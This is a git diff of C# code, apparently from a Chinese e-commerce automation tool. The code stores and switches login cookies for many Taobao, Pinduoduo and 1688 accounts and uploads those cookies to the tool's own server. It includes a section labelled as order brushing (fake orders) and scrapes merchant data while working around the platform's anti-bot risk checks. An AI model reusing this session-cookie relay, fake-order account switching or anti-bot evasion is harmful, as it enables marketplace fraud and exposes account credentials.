prod.ProductTitle = items[0].Replace("tit_", ""); + // prod.ProductTitle = GetHtml.Unicode2String(prod.ProductTitle).Replace("\\/", "/"); + //} + } + } + } + catch + { + } + } + } + return mappingResultWd; + } + + /// + /// 根据商品标题寻找微店商品缓存 + /// + /// 商品标题 + /// + /// + /// + public static List> GetFakeCacheVDianTitle(string productTitle) + { + var result = new List>(); + var html = ""; + + if (string.IsNullOrEmpty(productTitle)) + return result; + + string url = BaseClass.BuildObjString("data_change&act=get_cache_title"); + string data = ""; + // 根据商品id查找缓存 + if (string.IsNullOrEmpty(html) || html.ToLower().Contains("error")) + { + string tid = Md5Base.GetMd5(productTitle).Substring(8, 16); + long suffix = Math.Abs(BaseClass.GetLong(tid)) % 1024; + data = "&tid=" + tid + + "&suffix=" + suffix + + "&" + UserLogin.GetSignaturex(); + + html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html)) + html = GetHtml.PostUtf8(url, data); + } + // 读取缓存成功 + if (!string.IsNullOrEmpty(html) && !html.ToLower().Contains("error")) + { + string content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)(])\""); + if (content != null) + { + content = content.Replace("\\", "") + "]"; + } + else + { + content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)\""); + } + + try + { + var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var tupleItem in tupleItems) + { + var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + if (items.Length >= 2 && items[0].Length > 5) + { + try + { + var item1 = items[0]; + var item2 = items[1]; + var item3 = items.Length >= 3 ? items[2] : items[1]; + result.Add(new Tuple(item1, Convert.ToInt32(item2), Convert.ToInt32(item3))); + } + catch + { + } + } + } + } + catch + { + } + return result; + } + return null; + } + + /// + /// 根据价格区间筛选可以满足Relation条件的微店商品 + /// + /// + /// + /// + /// + public static List> FilteWeiDianProducts(List> prodList, int minPrice, int maxPrice) + { + if (prodList == null) + return new List>(); + if (prodList.Count == 0) + return prodList; + var result = prodList.Where(p => !string.IsNullOrEmpty(p.Item1) && p.Item2 >= minPrice && p.Item3 >= maxPrice && ((p.Item3 < maxPrice * 3.5M) || (p.Item3 < maxPrice + 3000))).ToList(); + return result; + } + + + /// + /// 获取净化数据 + /// + /// + /// + public static string GetJinHuaCache(string pid) + { + string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/fession_api&act=get_detail"; + StringBuilder sb = new StringBuilder(); + sb.Append("&fession_id=" + pid); + string data = UserLogin.GetSignaturex() + sb; + string html = GetHtml.PostUtf8(url, data); + html = GetHtml.Decode(html).Replace("\\/", "/").Replace(@"\", ""); + return html; + } + } +} diff --git a/Work/CollectClass/SetCookiesUserInfo.cs b/Work/CollectClass/SetCookiesUserInfo.cs new file mode 100644 index 0000000..e9846e2 --- /dev/null +++ b/Work/CollectClass/SetCookiesUserInfo.cs @@ -0,0 +1,689 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; +using CefSharp; +using Cookie = System.Net.Cookie; + +namespace Work.CollectClass +{ + + public class SetCookiesUserInfo + { + public static bool ReflashUsers = false; + public static bool ReflashPinUsers = false; + public static bool ReflashFunUsers = false; + public static bool ReflashRepUsers = false; + public static bool ReflashTaoBaoUsers = false; + public static bool SlipaceReflashUsers = false; + public static bool ALReflashUsers = false; + public static bool ALReflashFunUsers = false; + public static string UserName = ""; + public static string TaoBaoUserName = ""; + public static string SlipaceUserName = ""; + public static string ALUserName = ""; + public static string PayMobile = ""; + public static string SlipacePayMobile = ""; + public static string ALPayMobile = ""; + public static string CookiesString = ""; + public static Dictionary UserCookies = new Dictionary(); + public static Dictionary UserSlipaceCookies = new Dictionary(); + public static Dictionary UserALCookies = new Dictionary(); + private List Cookies; + private List SlipaceCookies; + private List ALCookies; + public void Set(string mobile, bool refundFlag) + { + if (!UserCookies.ContainsKey(mobile)) + { + MessageBox.Show("没有找到这个手机号", "提示"); + return; + } + string url = BaseClass.NewUrl+"/personal_profile.html"; + string refere = BaseClass.NewUrl+"/personal.html"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\"""); + if (name == mobile) + return; + + List cookies = UserCookies[mobile].Cookies; + Delete(); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.NewUrl+"/"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + PayMobile = mobile; + Cookies = cookies; + new Thread(Set).Start(); + if (!refundFlag) + { + MessageBox.Show("切换到账户:" + mobile + " 成功", "提示"); + } + } + + /// + /// 重试一次设置cookies + /// + public void Set() + { + Thread.Sleep(1000); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.NewUrl+"/"; + foreach (System.Net.Cookie c in Cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + } + + + public bool SetTaoBao(string userName, bool refundFlag) + { + if (!UserCookies.ContainsKey(userName)) + { + MessageBox.Show("没有找到这个淘宝买家", "提示"); + return false; + } + DeleteTaoBao(); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + List cookies = UserCookies[userName].Cookies; + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = "https://i.taobao.com/my_taobao.htm"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + PayMobile = userName; + if (!refundFlag) + { + MessageBox.Show("切换到账户:" + userName + " 成功", "提示"); + } + + return true; + } + + /// + /// 设置淘宝卖家 + /// + /// + /// + public bool SetSellerTaoBao(string userName) + { + if (!UserCookies.ContainsKey(userName)) + { + MessageBox.Show("没有找到这个淘宝卖家", "提示"); + return false; + } + DeleteTaoBao(); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + List cookies = UserCookies[userName].Cookies; + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = "https://myseller.taobao.com/home.htm"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + PayMobile = userName; + + return true; + } + + public void Get() + { + string url = BaseClass.BuildObjString("user_login_cookies&act=get"); + string data = "&site_id=-1"; + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + if (string.IsNullOrEmpty(html) || !html.Contains("'")) + return; + UserCookies.Clear(); + var m = BaseRegex.GetMatchRegex(ref html, "]+?)>"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string name = BaseRegex.GetStringJson(ref list, "user_name"); + if (string.IsNullOrEmpty(name) || UserCookies.ContainsKey(name)) + continue; + string cookies = BaseRegex.GetStringJson(ref list, "cookies"); + int site_id = BaseRegex.GetIntJson(ref list, "site_id"); + AddList(name, cookies, site_id); + } + ReflashUsers = true; + ReflashPinUsers = true; + ReflashFunUsers = true; + ReflashRepUsers = true; + ReflashTaoBaoUsers = true; + ALReflashUsers = true; + ALReflashFunUsers = true; + UserName = "点击下拉切换"; + TaoBaoUserName = "点击下拉切换"; + ALUserName = "点击下拉切换"; + } + + + public void Add(string name, string cookies, int site_id) + { + string url = BaseClass.BuildObjString("user_login_cookies&act=insert"); + StringBuilder data = new StringBuilder(); + data.Append("&user_name=" + name); + data.Append("&site_id="+ site_id); + data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies)); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + if (html != "ok") + { + Thread.Sleep(10 * 1000); + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + } + AddList(name, cookies, site_id); + } + + public void AddList(string name, string cookies, int site_id) + { + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + if (site_id == 1) + { + Cookie c = new Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + c = new Cookie(); + c.Domain = "tmall.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + if (site_id == 2 || site_id == 0 || site_id == -1) + { + Cookie c = new Cookie(); + c.Domain = "yangkeduo.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + if (site_id == 3)//淘宝卖家 + { + Cookie c = new Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + if (site_id == 4)//进宝 + { + Cookie c = new Cookie(); + c.Domain = "jinbao.pinduoduo.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + } + UserCookies uc = new UserCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.SiteId = site_id; + if (site_id.Equals(1)) + { + TaoBaoUserName = name; + } + else if (site_id.Equals(0) || site_id.Equals(2)) + { + UserName = name; + } + + if (!UserCookies.ContainsKey(name)) + UserCookies.Add(name, uc); + else + UserCookies[name] = uc; + ReflashUsers = true; + ReflashFunUsers = true; + ReflashPinUsers = true; + ReflashRepUsers = true; + ReflashTaoBaoUsers = true; + } + + public void Delete() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("yangkeduo.com")) + { + var cookies = BaseClass.CookiesAllString["yangkeduo.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies(BaseClass.NewUrl+"/", name); + cookieManager.DeleteCookies("http://yangkeduo.com/", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + } + public void DeleteTaoBao() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("taobao.com")) + { + var cookies = BaseClass.CookiesAllString["taobao.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name); + cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + if (BaseClass.CookiesAllString.ContainsKey("tmall.com")) + { + var cookies = BaseClass.CookiesAllString["tmall.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name); + cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + } + + public void DeleteJinBao() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("jinbao.pinduoduo.com")) + { + var cookies = BaseClass.CookiesAllString["jinbao.pinduoduo.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("http://jinbao.pinduoduo.com/", name); + cookieManager.DeleteCookies("http://pinduoduo.com/", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + } + + #region 刷单 + public void Setslipace(string mobile, bool refundFlag) + { + if (!UserSlipaceCookies.ContainsKey(mobile)) + { + MessageBox.Show("没有找到这个手机号", "提示"); + return; + } + string url = BaseClass.NewUrl+"/personal_profile.html"; + string refere = BaseClass.NewUrl+"/personal.html"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string name = BaseRegex.GetMatchRegexString(ref html, @"\\""nickname\\"":\\""([^']+?)\\"""); + if (name == mobile) + return; + + List cookies = UserSlipaceCookies[mobile].Cookies; + Delete(); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.NewUrl+"/"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + SlipacePayMobile = mobile; + SlipaceCookies = cookies; + new Thread(SlipaceSet).Start(); + if (!refundFlag) + { + MessageBox.Show("切换到账户:" + mobile + " 成功", "提示"); + } + } + /// + /// 重试一次设置cookies + /// + public void SlipaceSet() + { + Thread.Sleep(1000); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = BaseClass.NewUrl+"/"; + foreach (System.Net.Cookie c in SlipaceCookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + } + public void AddSlipace(string name, string cookies, int site_id) + { + FileBase.WriteAllText("temp/MobileCookies/" + StringToUnicode(name) + ".tjm", cookies, + Encoding.Default); + AddListSlipace(name, cookies, site_id); + } + public void AddListSlipace(string name, string cookies, int site_id) + { + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + + if (site_id == 2 || site_id == 0) + { + Cookie c = new Cookie(); + c.Domain = "yangkeduo.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + + } + UserSlipaceCookies uc = new UserSlipaceCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.SiteId = site_id; + if (site_id.Equals(0) || site_id.Equals(2)) + { + SlipaceUserName = name; + } + + if (!UserSlipaceCookies.ContainsKey(name)) + UserSlipaceCookies.Add(name, uc); + else + UserSlipaceCookies[name] = uc; + SlipaceReflashUsers = true; + } + #endregion + + #region 阿里巴巴 + public void SetAL(string mobile, bool refundFlag) + { + if (!UserALCookies.ContainsKey(mobile)) + { + MessageBox.Show("没有找到这个阿里巴巴买家", "提示"); + return; + } + + List cookies = UserALCookies[mobile].Cookies; + DeleteAL(); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = "https://www.1688.com/"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + ALPayMobile = mobile; + ALCookies = cookies; + new Thread(ALSet).Start(); + } + public void ALSet() + { + Thread.Sleep(1000); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + string domain = "https://www.1688.com/"; + foreach (System.Net.Cookie c in ALCookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + } + public void AddAL(string name, string cookies, int site_id) + { + FileBase.WriteAllText("temp/ALCookies/" + StringToUnicode(name) + ".tjm", cookies, + Encoding.Default); + AddListAL(name, cookies, site_id); + } + public void AddListAL(string name, string cookies, int site_id) + { + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + + if (site_id == 3) + { + Cookie c = new Cookie(); + c.Domain = "1688.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + + } + UserALCookies uc = new UserALCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.SiteId = site_id; + if (site_id.Equals(3)) + { + ALUserName = name; + } + + if (!UserALCookies.ContainsKey(name)) + UserALCookies.Add(name, uc); + else + UserALCookies[name] = uc; + ALReflashUsers = true; + ALReflashFunUsers = true; + } + public void DeleteAL() + { + var cookieManager = Cef.GetGlobalCookieManager(); + if (BaseClass.CookiesAllString.ContainsKey("1688.com")) + { + var cookies = BaseClass.CookiesAllString["1688.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://www.1688.com/", name); + cookieManager.DeleteCookies("http://www.1688.com/", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + } + private string StringToUnicode(string value) + { + byte[] bytes = Encoding.Unicode.GetBytes(value); + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.Length; i += 2) + { + // 取两个字符,每个字符都是右对齐。 + stringBuilder.AppendFormat("u{0}{1}", bytes[i + 1].ToString("x").PadLeft(2, '0'), bytes[i].ToString("x").PadLeft(2, '0')); + } + return stringBuilder.ToString(); + } + #endregion + + } + + public class UserCookies + { + public string UserName = ""; + public List Cookies = new List(); + public int SiteId = 0; + } + public class UserSlipaceCookies + { + public string UserName = ""; + public List Cookies = new List(); + public int SiteId = 0; + } + public class UserALCookies + { + public string UserName = ""; + public List Cookies = new List(); + public int SiteId = 0; + } +} diff --git a/Work/CollectClass/ShopAccountControl.cs b/Work/CollectClass/ShopAccountControl.cs new file mode 100644 index 0000000..f90c136 --- /dev/null +++ b/Work/CollectClass/ShopAccountControl.cs @@ -0,0 +1,91 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work.CollectClass +{ + public class ShopAccountControl + { + public string Name; + public static int threadCount=5; + public static List ShopAccountDetailList = new List(); + + public ShopAccountControl(string name) + { + Name = name; + } + + public void Get() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (shop.Message == "会话已过期") + continue; + var p = new ShopAccountDetailLogic(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + } + } + public class ShopAccountDetailLogic + { + public string Name; + public ShopChatBase Shop; + public ShopAccountDetailLogic(string Name,ShopChatBase Shop) + { + this.Name = Name; + this.Shop = Shop; + } + public void Get() + { + string url = " https://mms.pinduoduo.com/earth/api/mallInfo/queryFinalCredentialNew"; + string refere = "https://mms.pinduoduo.com/mallcenter/info/basic"; + string data = "{}"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + string categoryName = BaseRegex.GetMatchRegexString(html, @"""staple"":\[""([^<]+)""\]");//主营类目 + int mallType = BaseRegex.GetIntJson(ref html, "mallType");//店铺类型 + string mallAuth = "个人店铺"; + if (mallType != 2) + mallAuth = "企业店铺"; + string companyName = BaseRegex.GetStringJson(ref html, "companyName");//公司名称 + string socialCreditUnicode = BaseRegex.GetStringJson(ref html, "socialCreditUnicode");//信用代码 + string operatorName= BaseRegex.GetStringJson(ref html, "operatorName");//管理员姓名 + string legalRepresentativeName = BaseRegex.GetStringJson(ref html, "legalRepresentativeName");//管理员姓名 + + ShopAccountDetail account = new ShopAccountDetail(); + account.ShopId = Shop.ShopId; + account.ShopName = Shop.ShopName; + account.ShopNumer = Shop.Name; + account.CategroyName = categoryName; + account.MallAuth = mallAuth; + account.CompanyName = companyName; + account.SocialCreditUnicode = socialCreditUnicode; + account.OperatorName = operatorName; + account.LegalRepresentativeName = legalRepresentativeName; + ShopAccountControl.ShopAccountDetailList.Add(account); + LogSave.Add(Name, "正在读取店铺 " + Shop.ShopName + "数据"); + } + } + public class ShopAccountDetail + { + public string ShopId = ""; + public string ShopName = ""; + public string ShopNumer = ""; + public string CategroyName = ""; + public string MallAuth = ""; + public string CompanyName = ""; + public string SocialCreditUnicode = ""; + public string OperatorName = ""; + public string LegalRepresentativeName = ""; + } + +} diff --git a/Work/CollectClass/ShopDetailGet.cs b/Work/CollectClass/ShopDetailGet.cs new file mode 100644 index 0000000..9d41618 --- /dev/null +++ b/Work/CollectClass/ShopDetailGet.cs @@ -0,0 +1,1000 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.Api; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using Work.ManageClass; + +namespace Work.CollectClass +{ + public class ShopDetailControl + { + public string Name; + public static int threadCount; + public bool yesFlag; + public bool sevFlag; + public bool thirFlag; + public static List ShopDetailTempList = new List(); + + public ShopDetailControl(string name) + { + Name = name; + } + + public void Get() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (shop.Message == "会话已过期") + continue; + var p = new ShopDetailGet(Name, shop); + p.yesFlag = yesFlag; + p.sevFlag = sevFlag; + p.thirFlag = thirFlag; + Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + } + } + + public class ShopDetailGet + { + public string Name; + public ShopChatBase Shop; + public bool yesFlag; + public bool sevFlag; + public bool thirFlag; + public static string NoCode = ""; + public ShopDetailGet(string name,ShopChatBase shop) + { + Name = name; + Shop = shop; + } + + public void Get() + { + try + { + string cookies = "", shopId = "", shopName = ""; + int mall_id = Shop.MallId; + if (Shop != null) + { + cookies = Shop.Cookies; + shopId = Shop.ShopId; + shopName = Shop.ShopName; + mall_id = Shop.MallId; + } + + + + #region 商品数量数据 + //商品上架 + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + + //post参数 + string sort_by = "id"; + string sort_type = "DESC"; + int is_onsale = 1; + int sold_out = 0; + int size = 15; + int pageIndex = 1; + + + string data = "{\"sort_by\":\"" + sort_by + + "\",\"sort_type\":\"" + sort_type + + "\",\"is_onsale\":" + is_onsale + + ",\"sold_out\":" + sold_out + + ",\"size\":" + size + + ",\"page\":" + pageIndex + + ",\"mall_id\":" + mall_id + "}"; + + //第一页匹配结果 + //string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + //上架商品记录数 + int ShelvesCount = BaseRegex.GetIntJson(ref html, "total"); + + + //商品下架 + url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + //post参数 + sort_by = "id"; + sort_type = "DESC"; + is_onsale = 0; + sold_out = 0; + size = 15; + pageIndex = 1; + + + data = "{\"sort_by\":\"" + sort_by + + "\",\"sort_type\":\"" + sort_type + + "\",\"is_onsale\":" + is_onsale + + ",\"sold_out\":" + sold_out + + ",\"size\":" + size + + ",\"page\":" + pageIndex + + ",\"mall_id\":" + mall_id + "}"; + + //第一页匹配结果 + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + //上架商品记录数 + int lowerCount = BaseRegex.GetIntJson(ref html, "total"); + + //商品售罄 + url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + //post参数 + sort_by = "id"; + sort_type = "DESC"; + is_onsale = 1; + sold_out = 1; + size = 15; + pageIndex = 1; + + + data = "{\"sort_by\":\"" + sort_by + + "\",\"sort_type\":\"" + sort_type + + "\",\"is_onsale\":" + is_onsale + + ",\"sold_out\":" + sold_out + + ",\"size\":" + size + + ",\"page\":" + pageIndex + + ",\"mall_id\":" + mall_id + "}"; + + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + //售罄商品记录数 + int sellOutCount = BaseRegex.GetIntJson(ref html, "total"); + + //全部商品 + url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + + //post参数 + string order_by = "id:desc"; + size = 15; + pageIndex = 1; + + data = "{\"order_by\":\"" + order_by + + //"\",\"sort_type\":\"" + sort_type + + //"\",\"is_onsale\":" + is_onsale + + //",\"sold_out\":" + sold_out + + "\",\"size\":" + size + + ",\"page\":" + pageIndex + + ",\"mall_id\":" + mall_id + "}"; + + //第一页匹配结果 + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + + //全部商品记录数 + int allGoodsCount = BaseRegex.GetIntJson(ref html, "total"); + + #endregion + + + string codext = ""; + + + //30天出货量 30天成交金额 + url = "https://mms.pinduoduo.com/janus/api/userinfo"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"size\":\"5\" }"; + //第一页匹配结果 + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + //主营类目 + string staple = BaseRegex.GetStringJson(ref html, "staple"); + var m = BaseRegex.GetMatchRegex(ref html, @"""staple"":\s*\[""([\s\S]+?)""\]"); + for (int i = 0; m != null && i < m.Count; i++) + { + staple = m[i].Groups[1].Value; + } + if (staple == "[]") + staple = "普通商品"; + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codext = jsEngine.CallFunction("aaa", "").ToString(); + } + url = "https://mms.pinduoduo.com/sydney/api/mallInfo/queryMallDataPageOverView";//"https://mms.pinduoduo.com/mars/shop/statisticsTrend"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"queryDate\":\""+DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd")+"\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int TAgainCount = 0; + TAgain: + if (html.Contains("Risk consult PASS")) + { + Thread.Sleep(3000); + data = "{\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"crawlerInfo\":\"" + codext + "\" }"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (html.Contains("Risk consult PASS") && TAgainCount < 5) + { + TAgainCount++; + goto TAgain; + } + //30天出货量 + int thirtydayGoodsNum = BaseRegex.GetIntJson(ref html, "cfmOrdrUsrCnt"); + //30天成交金额 + decimal thirtydayIn = BaseRegex.GetDecimalJson(ref html, "cfmOrdrAmt"); + + + + //今天成交额 + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codext = jsEngine.CallFunction("aaa", "").ToString(); + } + url = "https://mms.pinduoduo.com/sydney/api/mallInfo/mallPayList";// "https://mms.pinduoduo.com/mars/shop/queryDailyMallConfirmAmount"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"crawlerInfo\":\"" + codext + "\" }";// UploadPinduoduoMain.AntiContent + 